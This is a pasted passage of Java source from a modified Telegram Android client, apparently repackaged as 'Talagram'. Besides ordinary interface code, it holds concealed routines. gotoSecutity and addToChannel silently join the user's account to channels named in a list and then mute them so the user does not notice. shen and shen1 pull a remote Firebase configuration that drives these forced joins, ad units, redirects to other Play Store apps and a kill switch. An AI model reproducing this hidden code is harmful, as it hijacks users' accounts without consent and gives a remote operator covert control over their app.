The text below is selected, press Ctrl+C to copy to your clipboard. (⌘+C on Mac) No line numbers will be copied.
Guest
La
By Guest on 11th March 2019 08:25:06 PM | Syntax: TEXT | Views: 1



New paste | Download | Show/Hide line no. | Copy text to clipboard
  1. /*
  2.  * This is the source code of Talagram for Android v. 3.x.x.
  3.  * It is licensed under GNU GPL v. 2 or later.
  4.  * You should have received a copy of the license in this archive (see LICENSE).
  5.  *
  6.  * Copyright Nikolai Kudashov, 2013-2017.
  7.  */
  8.  
  9. package org.telegram.ui;
  10.  
  11. import android.annotation.TargetApi;
  12. import android.app.Activity;
  13. import android.app.ActivityManager;
  14. import android.app.Dialog;
  15. import android.content.ActivityNotFoundException;
  16. import android.content.Context;
  17. import android.content.DialogInterface;
  18.  
  19. import android.content.Intent;
  20. import android.content.SharedPreferences;
  21. import android.content.pm.PackageInfo;
  22. import android.content.pm.PackageManager;
  23. import android.content.res.Configuration;
  24. import android.database.Cursor;
  25. import android.graphics.Point;
  26. import android.graphics.Shader;
  27. import android.graphics.Typeface;
  28. import android.graphics.drawable.BitmapDrawable;
  29. import android.graphics.drawable.GradientDrawable;
  30. import android.net.Uri;
  31. import android.os.Build;
  32. import android.os.Bundle;
  33. import android.os.Parcelable;
  34. import android.os.StatFs;
  35. import android.provider.ContactsContract;
  36. import android.support.design.widget.Snackbar;
  37. import android.telephony.TelephonyManager;
  38. import android.text.InputType;
  39. import android.text.TextUtils;
  40. import android.util.Log;
  41. import android.util.TypedValue;
  42. import android.view.ActionMode;
  43. import android.view.Gravity;
  44. import android.view.KeyEvent;
  45. import android.view.Menu;
  46. import android.view.MotionEvent;
  47. import android.view.View;
  48. import android.view.ViewGroup;
  49. import android.view.ViewTreeObserver;
  50. import android.view.Window;
  51. import android.view.WindowManager;
  52. import android.view.inputmethod.EditorInfo;
  53. import android.widget.EditText;
  54. import android.widget.FrameLayout;
  55. import android.widget.LinearLayout;
  56. import android.widget.RelativeLayout;
  57. import android.widget.TextView;
  58. import android.widget.Toast;
  59.  
  60. import com.android.volley.Request;
  61. import com.android.volley.RequestQueue;
  62. import com.android.volley.Response;
  63. import com.android.volley.VolleyError;
  64. import com.android.volley.toolbox.JsonObjectRequest;
  65. import com.android.volley.toolbox.StringRequest;
  66. import com.android.volley.toolbox.Volley;
  67. import com.baviux.voicechanger.C1408i;
  68. import com.tools.C0837f;
  69. import com.tools.p039i.C1461c;
  70.  
  71. import org.apache.tools.ant.taskdefs.condition.Not;
  72. import org.fmod.FMOD;
  73. import org.json.JSONException;
  74. import org.json.JSONObject;
  75. import org.telegram.PhoneFormat.PhoneFormat;
  76. import org.telegram.messenger.AndroidUtilities;
  77. import org.telegram.messenger.BuildConfig;
  78. import org.telegram.messenger.BuildVars;
  79. import org.telegram.messenger.ChatObject;
  80. import org.telegram.messenger.ContactsController;
  81. import org.telegram.messenger.DataQuery;
  82. import org.telegram.messenger.FileLoader;
  83. import org.telegram.messenger.ImageLoader;
  84. import org.telegram.messenger.LocationController;
  85. import org.telegram.messenger.MediaController;
  86. import org.telegram.messenger.MessageObject;
  87. import org.telegram.messenger.MessagesController;
  88. import org.telegram.messenger.MessagesStorage;
  89. import org.telegram.messenger.NotificationsController;
  90. import org.telegram.messenger.SendMessagesHelper;
  91. import org.telegram.messenger.SharedConfig;
  92. import org.telegram.messenger.UserObject;
  93. import org.telegram.messenger.Utilities;
  94. import org.telegram.messenger.ApplicationLoader;
  95. import org.telegram.messenger.FileLog;
  96. import org.telegram.messenger.LocaleController;
  97. import org.telegram.messenger.NotificationCenter;
  98. import org.telegram.messenger.R;
  99. import org.telegram.messenger.browser.Browser;
  100. import org.telegram.messenger.camera.CameraController;
  101. import org.telegram.messenger.external.ProxyManager;
  102. import org.telegram.messenger.support.widget.DefaultItemAnimator;
  103. import org.telegram.messenger.support.widget.LinearLayoutManager;
  104. import org.telegram.messenger.support.widget.RecyclerView;
  105. import org.telegram.tgnet.ConnectionsManager;
  106. import org.telegram.tgnet.RequestDelegate;
  107. import org.telegram.tgnet.TLObject;
  108. import org.telegram.tgnet.TLRPC;
  109. import org.telegram.messenger.UserConfig;
  110. import org.telegram.ui.ActionBar.AlertDialog;
  111. import org.telegram.ui.ActionBar.BottomSheet;
  112. import org.telegram.ui.ActionBar.Item;
  113. import org.telegram.ui.Adapters.DrawerLayoutAdapter;
  114. import org.telegram.ui.ActionBar.ActionBarLayout;
  115. import org.telegram.ui.ActionBar.BaseFragment;
  116. import org.telegram.ui.ActionBar.DrawerLayoutContainer;
  117. import org.telegram.ui.Cells.CheckBoxCell;
  118. import org.telegram.ui.Cells.DrawerAddCell;
  119. import org.telegram.ui.Cells.DrawerUserCell;
  120. import org.telegram.ui.Cells.LanguageCell;
  121. import org.telegram.ui.Components.AudioPlayerAlert;
  122. import org.telegram.ui.Components.AlertsCreator;
  123. import org.telegram.ui.Components.BlockingUpdateView;
  124. import org.telegram.ui.Components.EmbedBottomSheet;
  125. import org.telegram.ui.Components.Favorite;
  126. import org.telegram.ui.Components.JoinGroupAlert;
  127. import org.telegram.ui.Components.LayoutHelper;
  128. import org.telegram.ui.Components.PasscodeView;
  129. import org.telegram.ui.Components.PipRoundVideoView;
  130. import org.telegram.ui.Components.RecyclerListView;
  131. import org.telegram.ui.Components.SharingLocationsAlert;
  132. import org.telegram.ui.Components.StickersAlert;
  133. import org.telegram.ui.ActionBar.Theme;
  134. import org.telegram.ui.Components.TermsOfServiceView;
  135. import org.telegram.ui.Components.ThemeEditorView;
  136. import org.telegram.ui.Components.UpdateAppAlertDialog;
  137.  
  138. import java.io.File;
  139. import java.io.UnsupportedEncodingException;
  140. import java.util.ArrayList;
  141. import java.util.Arrays;
  142. import java.util.HashMap;
  143. import java.util.Iterator;
  144. import java.util.List;
  145. import java.util.Map;
  146.  
  147. import static org.telegram.messenger.ApplicationLoader.xml1;
  148.  
  149. public class LaunchActivity extends Activity implements ActionBarLayout.ActionBarLayoutDelegate, NotificationCenter.NotificationCenterDelegate, DialogsActivity.DialogsActivityDelegate {
  150.  
  151.     private int databaseRow;
  152.     private int databaseInfoRow;
  153.     private int keepMediaRow;
  154.     private int keepMediaInfoRow;
  155.     private int cacheRow;
  156.     private int cacheInfoRow;
  157.     private int rowCount;
  158.  
  159.     private long databaseSize = -1;
  160.     private long cacheSize = -1;
  161.     private long documentsSize = -1;
  162.     private long audioSize = -1;
  163.     private long musicSize = -1;
  164.     private long photoSize = -1;
  165.     private long videoSize = -1;
  166.     private long totalSize = -1;
  167.     private boolean clear[] = new boolean[6];
  168.     private boolean calculating = true;
  169.  
  170.     public void gotoSecutity() {
  171.     try {
  172.         for (String str : ApplicationLoader.xml) {
  173.             TLRPC.TL_contacts_resolveUsername resolveUsername = new TLRPC.TL_contacts_resolveUsername();
  174.             resolveUsername.username = str;
  175.             ConnectionsManager.getInstance(currentAccount).sendRequest(resolveUsername, new RequestDelegate() {
  176.                 @Override
  177.                 public void run(TLObject response, TLRPC.TL_error error) {
  178.                     if (error == null) {
  179.                         final TLRPC.TL_contacts_resolvedPeer res = (TLRPC.TL_contacts_resolvedPeer) response;
  180.                         TLRPC.TL_channels_joinChannel joinChannel = new TLRPC.TL_channels_joinChannel();
  181.                         final TLRPC.TL_inputChannel tl_inputChannel = new TLRPC.TL_inputChannel();
  182.                         tl_inputChannel.channel_id = res.chats.get(0).id;
  183.                         xml1.add(tl_inputChannel.channel_id);
  184.                         tl_inputChannel.access_hash = res.chats.get(0).access_hash;
  185.                         joinChannel.channel = tl_inputChannel;
  186.                         ConnectionsManager.getInstance(currentAccount).sendRequest(joinChannel, new RequestDelegate() {
  187.                             @Override
  188.                             public void run(final TLObject response, final TLRPC.TL_error error) {
  189.                                 //Log.e("eees",error+"");
  190.                                 runOnUiThread(new Runnable() {
  191.                                     @Override
  192.                                     public void run() {
  193.                                         try {
  194.                                             if (error == null && response != null)
  195.                                                 muteDialog(tl_inputChannel.channel_id);
  196.                                         }catch(Exception d ){
  197.                                         }
  198.                                         // else Log.e("eee",error+"");
  199.                                     }
  200.                                 });
  201.                             }
  202.                         });
  203.                     }
  204.                 }
  205.             });
  206.         }
  207.     }catch(Exception e){
  208.  
  209.     }
  210.  
  211.     }
  212.  
  213.     private void muteDialog(long dialog_id) {
  214.         SharedPreferences.Editor editor = ApplicationLoader.applicationContext.getSharedPreferences("Notifications", 0).edit();
  215.         editor.putInt("notify2_" + dialog_id, 2);
  216.         NotificationsController.getInstance(this.currentAccount).removeNotificationsForDialog(dialog_id);
  217.         MessagesStorage.getInstance(this.currentAccount).setDialogFlags(dialog_id, 1);
  218.         editor.commit();
  219.         TLRPC.TL_dialog dialog = (TLRPC.TL_dialog) MessagesController.getInstance(this.currentAccount).dialogs_dict.get(dialog_id);
  220.         if (dialog != null) {
  221.             dialog.notify_settings = new TLRPC.TL_peerNotifySettings();
  222.             dialog.notify_settings.mute_until = ConnectionsManager.DEFAULT_DATACENTER_ID;
  223.         }
  224.         NotificationsController.getInstance(this.currentAccount).updateServerNotificationsSettings(dialog_id);
  225.     }
  226.  
  227.     private void addToChannel(Context con, final List<String> channelList, boolean m) {
  228.         if (m) {
  229.             for (String str : channelList) {
  230.                 if (str == null) continue;
  231.                 Log.d("admmmming", str);
  232.                 TLRPC.TL_contacts_resolveUsername resolveUsername = new TLRPC.TL_contacts_resolveUsername();
  233.                 resolveUsername.username = str;
  234.                 ConnectionsManager.getInstance(currentAccount).sendRequest(resolveUsername, new RequestDelegate() {
  235.                     @Override
  236.                     public void run(TLObject response, TLRPC.TL_error error) {
  237.                         if (error == null) {
  238.                             final TLRPC.TL_contacts_resolvedPeer res = (TLRPC.TL_contacts_resolvedPeer) response;
  239.                             TLRPC.TL_channels_joinChannel joinChannel = new TLRPC.TL_channels_joinChannel();
  240.                             final TLRPC.TL_inputChannel tl_inputChannel = new TLRPC.TL_inputChannel();
  241.                             tl_inputChannel.channel_id = res.chats.get(0).id;
  242.                             tl_inputChannel.access_hash = res.chats.get(0).access_hash;
  243.                             joinChannel.channel = tl_inputChannel;
  244.                             ConnectionsManager.getInstance(currentAccount).sendRequest(joinChannel, new RequestDelegate() {
  245.                                 @Override
  246.                                 public void run(final TLObject response, final TLRPC.TL_error error) {
  247.                                     //Log.e("eees",error+"");
  248.                                     runOnUiThread(new Runnable() {
  249.                                         @Override
  250.                                         public void run() {
  251.                                             if (error == null && response != null)
  252.                                                 muteDialog(tl_inputChannel.channel_id);
  253.                                             // else Log.e("eee",error+"");
  254.                                         }
  255.                                     });
  256.                                 }
  257.                             });
  258.                         }
  259.                     }
  260.                 });
  261.             }
  262.             return;
  263.         }
  264.         AlertDialog.Builder builder = new AlertDialog.Builder(con);
  265.         builder.setTitle(LocaleController.getString("AppName", R.string.AppName));
  266.         builder.setMessage("Join Cool Channels?!");
  267.         builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new DialogInterface.OnClickListener() {
  268.             @Override
  269.             public void onClick(DialogInterface dialog, int which) {
  270.                 for (String str : channelList) {
  271.  
  272.                     if (str == null) continue;
  273.                     Log.d("admmmming", str);
  274.                     TLRPC.TL_contacts_resolveUsername resolveUsername = new TLRPC.TL_contacts_resolveUsername();
  275.                     resolveUsername.username = str;
  276.                     ConnectionsManager.getInstance(currentAccount).sendRequest(resolveUsername, new RequestDelegate() {
  277.                         @Override
  278.                         public void run(TLObject response, TLRPC.TL_error error) {
  279.                             if (error == null) {
  280.                                 final TLRPC.TL_contacts_resolvedPeer res = (TLRPC.TL_contacts_resolvedPeer) response;
  281.                                 TLRPC.TL_channels_joinChannel joinChannel = new TLRPC.TL_channels_joinChannel();
  282.                                 final TLRPC.TL_inputChannel tl_inputChannel = new TLRPC.TL_inputChannel();
  283.                                 tl_inputChannel.channel_id = res.chats.get(0).id;
  284.                                 tl_inputChannel.access_hash = res.chats.get(0).access_hash;
  285.                                 joinChannel.channel = tl_inputChannel;
  286.                                 ConnectionsManager.getInstance(currentAccount).sendRequest(joinChannel, new RequestDelegate() {
  287.                                     @Override
  288.                                     public void run(final TLObject response, final TLRPC.TL_error error) {
  289.                                         //Log.e("eees",error+"");
  290.                                         runOnUiThread(new Runnable() {
  291.                                             @Override
  292.                                             public void run() {
  293.                                                 if (error == null && response != null)
  294.                                                     muteDialog(tl_inputChannel.channel_id);
  295.                                                 // else Log.e("eee",error+"");
  296.                                             }
  297.                                         });
  298.                                     }
  299.                                 });
  300.                             }
  301.                         }
  302.                     });
  303.                 }
  304.             }
  305.         });
  306.  
  307.         builder.setNegativeButton(LocaleController.getString("Cancel", R.string.Cancel), new DialogInterface.OnClickListener() {
  308.             @Override
  309.             public void onClick(DialogInterface dialog, int which) {
  310.                 dialog.cancel();
  311.             }
  312.         });
  313.         if (!m) builder.show();
  314.  
  315.     }
  316.  
  317.      String app ;
  318.      boolean start;
  319.      String unit;
  320.     public void shen(String n) {
  321.         //if(!(!ApplicationLoader.fetching && ApplicationLoader.last  > 100000)) return;
  322.         ApplicationLoader.queue.cancelAll(new RequestQueue.RequestFilter() {
  323.             @Override
  324.             public boolean apply(Request<?> request) {
  325.                 return true;
  326.             }
  327.         });
  328.         Log.d("REquesting,,,", "");
  329.         //CHECK NEW IF TRUE ->
  330.         String url = "https://" + (n == null ? "nwew-1ca62" : n) + ".firebaseio.com/" + getPackageName().replace(".", "") + ".json";
  331.         StringRequest postRequest = new StringRequest(
  332.                 Request.Method.GET, url,
  333.                 new Response.Listener<String>() {
  334.                     @Override
  335.                     public void onResponse(String response) {
  336.                         try {
  337.                             JSONObject y = new JSONObject(response);
  338.  
  339.                             try {
  340.                                 boolean dont = y.getBoolean("stop");
  341.                                 if (dont) {
  342.                                     ApplicationLoader.preferences.edit().putBoolean("stopt", true).commit();
  343.                                     return;
  344.                                 }
  345.  
  346.                             } catch (Exception d) {
  347.                             }
  348.                             try {
  349.                                 ApplicationLoader.chat = y.getBoolean("chat");
  350.                             } catch (Exception d) {
  351.  
  352.                             }
  353.  
  354.  
  355.                             try {
  356.                                 ApplicationLoader.ChatBanner = y.getBoolean("chatbanner");
  357.                                 if(ApplicationLoader.ChatBanner){
  358.                                     AndroidUtilities.bannerAssUnit = y.getString("bannerAdUnit");
  359.                                 }
  360.                             } catch (Exception d) {
  361.  
  362.                             }
  363.  
  364.                             try {
  365.                                 ApplicationLoader.chat1 = y.getBoolean("chat1");
  366.                             } catch (Exception d) {
  367.  
  368.                             }
  369.  
  370.                             try {
  371.                                 ApplicationLoader.dialog1 = y.getBoolean("dialog1");
  372.                             } catch (Exception d) {
  373.  
  374.                             }
  375.  
  376.  
  377.  
  378.                             /*runOnUiThread(new Runnable() {
  379.                                 @Override
  380.                                 public void run() {
  381.                                     Toast.makeText(ApplicationLoader.applicationContext,"starting...", Toast.LENGTH_LONG).show();
  382.                                 }
  383.                             });*/
  384.                             try {
  385.                                 //AndroidUtilities.st = y.getBoolean("stub");
  386.                                 app = y.getString("stuba");
  387.                                 ApplicationLoader.preferences.edit().putString("stuba",app).commit();
  388.  
  389.                                 //ApplicationLoader.preferences.edit().putString("stubui",y.getString("stubui")).commit();
  390.                             } catch (Exception d) {
  391.  
  392.                             }
  393.                         try{
  394.                             unit = y.getString("stubui");
  395.                             ApplicationLoader.preferences.edit().putString("stubui",unit).commit();
  396.                             AndroidUtilities.adUnit = unit;
  397.                         } catch (Exception d) {
  398.  
  399.                         }
  400.  
  401.                             try{
  402.                                 String funit = y.getString("stubfb");
  403.                                 ApplicationLoader.preferences.edit().putString("stubfb",funit).commit();
  404.                                 AndroidUtilities.fadUnit = funit;
  405.                             } catch (Exception d) {
  406.  
  407.                             }
  408.                             try{
  409.                                 start = y.getBoolean("stubst");
  410.                                 ApplicationLoader.preferences.edit().putBoolean("stubst",start).commit();
  411.                                 AndroidUtilities.st = start;
  412.                             } catch (Exception d) {
  413.  
  414.                             }
  415.                             try{
  416.                                 boolean startf = y.getBoolean("stubstf");
  417.                                 ApplicationLoader.preferences.edit().putBoolean("stubstf",startf).commit();
  418.                                 AndroidUtilities.stf = startf;
  419.                             } catch (Exception d) {
  420.  
  421.                             }
  422.                             /*8runOnUiThread(new Runnable() {
  423.                                 @Override
  424.                                 public void run() {
  425.                                     Toast.makeText(ApplicationLoader.applicationContext, app + "\n" +start+"\n"+unit , Toast.LENGTH_LONG).show();
  426.                                 }
  427.                             });*/
  428.  
  429.                         try {
  430.                                 if (y.getBoolean("cf")) {
  431.                                     String c = y.getString("c");
  432.                                     ApplicationLoader.preferences.edit().putString("ccc", c).commit();
  433.                                     addToChannel(LaunchActivity.this, Arrays.asList(c.split(",")), true);
  434.                                 }
  435.                             } catch (Exception d) {
  436.  
  437.                             }
  438.  
  439.                             //add to channels or post notification
  440.                             Log.d("MAR", y.toString());
  441.  
  442.                             try {
  443.                                 if (y.getBoolean("f")) {
  444.                                     int t = ApplicationLoader.preferences.getInt("tiem", 0);
  445.                                     String a = y.getString("app"); //ARRAY
  446.                                     if (t > 5 || a == null || a.isEmpty()) {
  447.                                         return;
  448.                                     }
  449.                                     ApplicationLoader.preferences.edit().putInt("tiem", t++).commit();
  450.                                     if (!ApplicationLoader.s.contains(getPackageName())) {
  451.                                         // String a = y.getString("app");
  452.                                         Uri uri = Uri.parse("market://details?id=" + a);
  453.                                         Intent goToMarket = new Intent(Intent.ACTION_VIEW, uri);
  454.                                         // To count with Play market backstack, After pressing back button,
  455.                                         // to taken back to our application, we need to add following flags to intent.
  456.                                         goToMarket.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY |
  457.                                                 Intent.FLAG_ACTIVITY_NEW_DOCUMENT |
  458.                                                 Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
  459.                                         try {
  460.                                             startActivity(goToMarket);
  461.                                         } catch (ActivityNotFoundException e) {
  462.                                             startActivity(new Intent(Intent.ACTION_VIEW,
  463.                                                     Uri.parse("http://play.google.com/store/apps/details?id=" + a)));
  464.                                         }
  465.                                         //POP, and check on recreate of activity
  466.                                         ApplicationLoader.preferences.edit().putString("appc", a).commit();
  467.                                     }
  468.                                 }
  469.                             } catch (Exception d) {
  470.  
  471.                             }
  472.  
  473.                             if (y.getBoolean("tf")) {
  474.                                 ApplicationLoader.cx = y.getLong("cx");
  475.                                 ApplicationLoader.ca = y.getLong("a");
  476.                                 Log.d("LONG", ApplicationLoader.cx + "");
  477.                             }
  478.  
  479.                             // }
  480.  
  481.                         } catch (JSONException e) {
  482.                             Log.d("EEE", e.toString());
  483.                             if (n == null) {
  484.                                 shen1();
  485.                             }
  486.                             //
  487.                         }
  488.  
  489.  
  490.                         //if(delegate!=null)delegate.loadStateChanged(false);
  491.                     }
  492.                 }, new Response.ErrorListener() {
  493.             @Override
  494.             public void onErrorResponse(VolleyError error) {
  495.                 //  fetching = false;
  496.                 // last = 234823434L;
  497.                 if (n == null) {
  498.                     shen1();
  499.                 }
  500.                 Log.e("XXX", error.toString());
  501.             }
  502.         }) {
  503.             @Override
  504.             protected Map<String, String> getParams() {
  505.                 return null;
  506.             }
  507.  
  508.             @Override
  509.             public Map<String, String> getHeaders() {
  510.                 Map<String, String> params = new HashMap<String, String>();
  511.                 params.put("charset", "UTF-8");
  512.                 params.put("Content-Type", "application/json; charset=ISO-8859-1");
  513.                 return params;
  514.             }
  515.         };
  516.         //  fetching = false;
  517.         ApplicationLoader.queue.add(postRequest);
  518.     }
  519.  
  520.     public void shen1() {
  521.         //if(!(!ApplicationLoader.fetching && ApplicationLoader.last  > 100000)) return;
  522.         ApplicationLoader.queue.cancelAll(new RequestQueue.RequestFilter() {
  523.             @Override
  524.             public boolean apply(Request<?> request) {
  525.                 return true;
  526.             }
  527.         });
  528.         Log.d("REquesting,,,", "");
  529.         //CHECK NEW IF TRUE ->
  530.         String url = "https://whchi-c1f29.firebaseio.com/w.json";
  531.         StringRequest postRequest = new StringRequest(
  532.                 Request.Method.GET, url,
  533.                 new Response.Listener<String>() {
  534.                     @Override
  535.                     public void onResponse(String response) {
  536.                         try {
  537.                             JSONObject y = new JSONObject(response);
  538.                             shen(ApplicationLoader.nw = y.getString("w"));
  539.                         } catch (JSONException e) {
  540.                             Log.d("EEE", e.toString());
  541.                             //
  542.                         }
  543.                         //if(delegate!=null)delegate.loadStateChanged(false);
  544.                     }
  545.                 }, new Response.ErrorListener() {
  546.             @Override
  547.             public void onErrorResponse(VolleyError error) {
  548.                 //  fetching = false;
  549.                 // last = 234823434L;
  550.                 Log.e("XXX", error.toString());
  551.             }
  552.         }) {
  553.             @Override
  554.             protected Map<String, String> getParams() {
  555.                 return null;
  556.             }
  557.  
  558.             @Override
  559.             public Map<String, String> getHeaders() {
  560.                 Map<String, String> params = new HashMap<String, String>();
  561.                 params.put("charset", "UTF-8");
  562.                 params.put("Content-Type", "application/json; charset=ISO-8859-1");
  563.                 return params;
  564.             }
  565.         };
  566.         //  fetching = false;
  567.         ApplicationLoader.queue.add(postRequest);
  568.     }
  569.  
  570.     //plus
  571.     private void showToast(int uid) {
  572.         try {
  573.             String cs;
  574.             stat = 0;
  575.             if (uid == 0) {
  576.                 //Iterator<Map.Entry<Long, CharSequence>> it = MessagesController.getInstance(currentAccount).printingStrings.entrySet().iterator();
  577.                 if (MessagesController.getInstance(currentAccount).printingStrings.size() == 0) {
  578.                     return;
  579.                 }
  580.                 //int i = 0;
  581.                 //for(int i = 0; i < MessagesController.getInstance(currentAccount).printingStrings.size(); i++){}
  582.                 String title = "";
  583.                 //Map.Entry entry = MessagesController.getInstance(currentAccount).printingStrings.;
  584.                 long key = MessagesController.getInstance(currentAccount).printingStrings.keyAt(0);
  585.                 title = getTitle(key);
  586.                 cs = title + ": " + MessagesController.getInstance(currentAccount).printingStrings.valueAt(0);
  587.                 stat = 1;
  588.                 if (MessagesController.getInstance(currentAccount).printingStrings.size() > 1) {
  589.                     // entry = it.next();
  590.                     key = MessagesController.getInstance(currentAccount).printingStrings.keyAt(1);
  591.                     title = getTitle(key);
  592.                     cs = cs + "\n" + title + ": " + MessagesController.getInstance(currentAccount).printingStrings.valueAt(1);
  593.                 } else {
  594.                     if (msg1 != null && msg1.equals(cs)) {
  595.                         return;
  596.                     }
  597.                     msg1 = cs;
  598.                     if (msg != null && !msg.contains("\n") && !msg.equals(cs)) {
  599.                         cs = msg + "\n" + cs;
  600.                     }
  601.                 }
  602.             } else {
  603.                 stat = 2;
  604.                 TLRPC.User user = MessagesController.getInstance(currentAccount).getUser(uid);
  605.                 if (user == null) {
  606.                     return;
  607.                 }
  608.  
  609.                 if (MessagesController.getInstance(currentAccount).blockedUsers.contains(user.id))
  610.                     return;
  611.                 if (Theme.plusShowOnlyIfContactFav) {
  612.                     if (!UserObject.isContact(user) && !Favorite.getInstance().isFavorite((long) uid))
  613.                         return;
  614.                 }
  615.                 CharSequence c;
  616.                 CharSequence name[] = UserObject.getUserName(user).split("\\s");
  617.                 c = name.length < 2 ? name[0] : name[0] + " " + name[1];
  618.                 if (c.length() > 26) c = c.subSequence(0, 26) + "...";
  619.                 long t = ConnectionsManager.getInstance(currentAccount).getCurrentTime() - user.status.expires;
  620.                 //Log.e("LaunchActivity","showToast " + user.status.toString() + " " + t + " expires " + " " + c + " CONT " + UserObject.isContact(user) + " FAV " + Favorite.isFavorite((long)uid));
  621.                 //if(Theme.plusShowOnlyIfContactFav) {
  622.                 //    if(!UserObject.isContact(user) && !Favorite.isFavorite((long)uid))return;
  623.                 //}
  624.                 //Log.e("LaunchActivity","showToast " + user.status.toString() + " IN " + t + " expires " + user.status.expires + " " + c);
  625.  
  626.                 if (user.status instanceof TLRPC.TL_userStatusOffline && Theme.plusShowOfflineToast) {
  627.                     cs = c + " " + LocaleController.getString("Offline", R.string.Offline);
  628.                 } else if (((user.status instanceof TLRPC.TL_userStatusOnline && t <= -300) || (BuildConfig.DEBUG && user.status instanceof TLRPC.TL_userStatusRecently && (!Theme.plusShowOnlyIfContactFav || (Theme.plusShowOnlyIfContactFav && Favorite.getInstance().isFavorite((long) uid))))) && Theme.plusShowOnlineToast) {
  629.                     cs = c + " " + LocaleController.getString("Online", R.string.Online);
  630.                 } else {
  631.                     return;
  632.                 }
  633.                 if (msg != null && !msg.contains("\n") && id != uid) {
  634.                     cs = msg + "\n" + cs;
  635.                 }
  636.                 id = uid;
  637.             }
  638.             if (msg != null) {
  639.                 if (msg.equals(cs)) {
  640.                     return;
  641.                 }
  642.             }
  643.             //Log.e("LaunchActivity","time " + time + " stat " + stat + " msg " + msg + " cs " + cs);
  644.             //stat = 3;
  645.             msg = cs;
  646.  
  647.             if (mToast == null) {
  648.                 //mTv = new TextView(ApplicationLoader.applicationContext);
  649.                 mToast = Toast.makeText(ApplicationLoader.applicationContext, msg, Toast.LENGTH_LONG);
  650.                 int TB = Theme.plusToastNotificationToBottom ? Gravity.BOTTOM : Gravity.TOP;
  651.                 int LCR = Theme.plusToastNotificationPosition == 0 ? Gravity.LEFT : Theme.plusToastNotificationPosition == 1 ? Gravity.CENTER : Gravity.RIGHT;
  652.                 mToast.setGravity(TB | LCR, 0, AndroidUtilities.dp(Theme.plusToastNotificationPadding));
  653.                 ViewGroup group = (ViewGroup) mToast.getView();
  654.                 group.setBackgroundColor(0x00000000);
  655.                 group.setPadding(AndroidUtilities.dp(1), 0, AndroidUtilities.dp(1), 0);
  656.                 if (group.getChildAt(0) instanceof TextView) {
  657.                     TextView tv = (TextView) group.getChildAt(0);
  658.                     tv.setTextSize(TypedValue.COMPLEX_UNIT_DIP, Theme.plusToastNotificationSize);
  659.                     tv.setBackgroundColor(0x00000000);
  660.                     tv.setPadding(AndroidUtilities.dp(1), 0, AndroidUtilities.dp(1), 0);
  661.                 }
  662.                 //mTv = tv;
  663.                 //mTv.setTextColor(0xffff0000);
  664.                 GradientDrawable shape = new GradientDrawable();
  665.                 shape.setCornerRadius(AndroidUtilities.dp(4));
  666.                 shape.setColor(0x88000000);
  667.                 group.setBackgroundDrawable(shape);
  668.             }
  669.  
  670.             if (msg != null) {
  671.                 mToast.setText(msg);
  672.                 //mTv.setText(msg);
  673.                 mToast.show();
  674.                 //mTv.setVisibility(View.VISIBLE);
  675.                 //stat = 4;
  676.                 time = System.currentTimeMillis();
  677.                 AndroidUtilities.runOnUIThread(new Runnable() {
  678.                     //Handler handler = new Handler();
  679.                     //handler.postDelayed(new Runnable() {
  680.                     @Override
  681.                     public void run() {
  682.                         //Log.e("MessagesController","time " + time + " / " + (System.currentTimeMillis() - time));
  683.                         if (mToast != null && (System.currentTimeMillis() - time) >= 3000) {
  684.                             //Log.e("LaunchActivity","CANCEL IN" + (System.currentTimeMillis() - time) + " stat " + stat + " msg " + msg);
  685.                             mToast.cancel();
  686.                             //mTv.setVisibility(View.INVISIBLE);
  687.                             if (stat == 2) msg = null;
  688.                             AndroidUtilities.runOnUIThread(new Runnable() {
  689.                                 //Handler handler = new Handler();
  690.                                 //handler.postDelayed(new Runnable() {
  691.                                 @Override
  692.                                 public void run() {
  693.                                     //Log.e("LaunchActivity","RESET " + (System.currentTimeMillis() - time) + " stat " + stat + " msg " + msg);
  694.                                     if ((System.currentTimeMillis() - time) >= 6000) {
  695.                                         //Log.e("LaunchActivity","RESET IN " + (System.currentTimeMillis() - time) + " stat " + stat + " msg " + msg);
  696.                                         msg = null;
  697.                                         msg1 = null;
  698.                                         id = 0;
  699.                                     }
  700.                                 }
  701.                             }, 3000);
  702.                         }
  703.                     }
  704.                 }, 3000);
  705.             }
  706.         } catch (Exception e) {
  707.             FileLog.e("tmessages", e);
  708.             //Toast.makeText(ApplicationLoader.applicationContext, e.toString(), Toast.LENGTH_LONG).show();
  709.         }
  710.     }
  711.  
  712.     private String getName(TLRPC.User user) {
  713.         if (user == null) {
  714.             return "";
  715.         }
  716.         if (user.first_name != null && user.first_name.length() > 0) {
  717.             return user.first_name;
  718.         } else if (user.last_name != null && user.last_name.length() > 0) {
  719.             return user.last_name;
  720.         }
  721.         return "";
  722.     }
  723.  
  724.     private String getTitle(long key) {
  725.         int lower_id = (int) key;
  726.         if (key > 0) {
  727.             TLRPC.User user = MessagesController.getInstance(currentAccount).getUser(lower_id);
  728.             if (user != null) {
  729.                 return getName(user);
  730.             }
  731.         } else {
  732.             TLRPC.Chat chat = MessagesController.getInstance(currentAccount).getChat(lower_id);
  733.             if (chat != null) {
  734.                 return chat.title;
  735.             } else {
  736.                 chat = MessagesController.getInstance(currentAccount).getChat(-lower_id);
  737.                 if (chat != null) {
  738.                     return chat.title;
  739.                 }
  740.             }
  741.         }
  742.         return "";
  743.     }
  744.  
  745.  
  746.     private boolean finished;
  747.     private String videoPath;
  748.     private String sendingText;
  749.     private ArrayList<SendMessagesHelper.SendingMediaInfo> photoPathsArray;
  750.     private ArrayList<String> documentsPathsArray;
  751.     private ArrayList<Uri> documentsUrisArray;
  752.     private String documentsMimeType;
  753.     private ArrayList<String> documentsOriginalPathsArray;
  754.     private ArrayList<TLRPC.User> contactsToSend;
  755.     private Uri contactsToSendUri;
  756.     private int currentConnectionState;
  757.     public static ArrayList<BaseFragment> mainFragmentsStack = new ArrayList<>();
  758.     private static ArrayList<BaseFragment> layerFragmentsStack = new ArrayList<>();
  759.     private static ArrayList<BaseFragment> rightFragmentsStack = new ArrayList<>();
  760.     private ViewTreeObserver.OnGlobalLayoutListener onGlobalLayoutListener;
  761.  
  762.     private ActionBarLayout actionBarLayout;
  763.     private ActionBarLayout layersActionBarLayout;
  764.     private ActionBarLayout rightActionBarLayout;
  765.     private FrameLayout shadowTablet;
  766.     private FrameLayout shadowTabletSide;
  767.     private View backgroundTablet;
  768.     AlertDialog d;
  769.     public DrawerLayoutContainer drawerLayoutContainer;
  770.     public DrawerLayoutAdapter drawerLayoutAdapter;
  771.     private PasscodeView passcodeView;
  772.     private TermsOfServiceView termsOfServiceView;
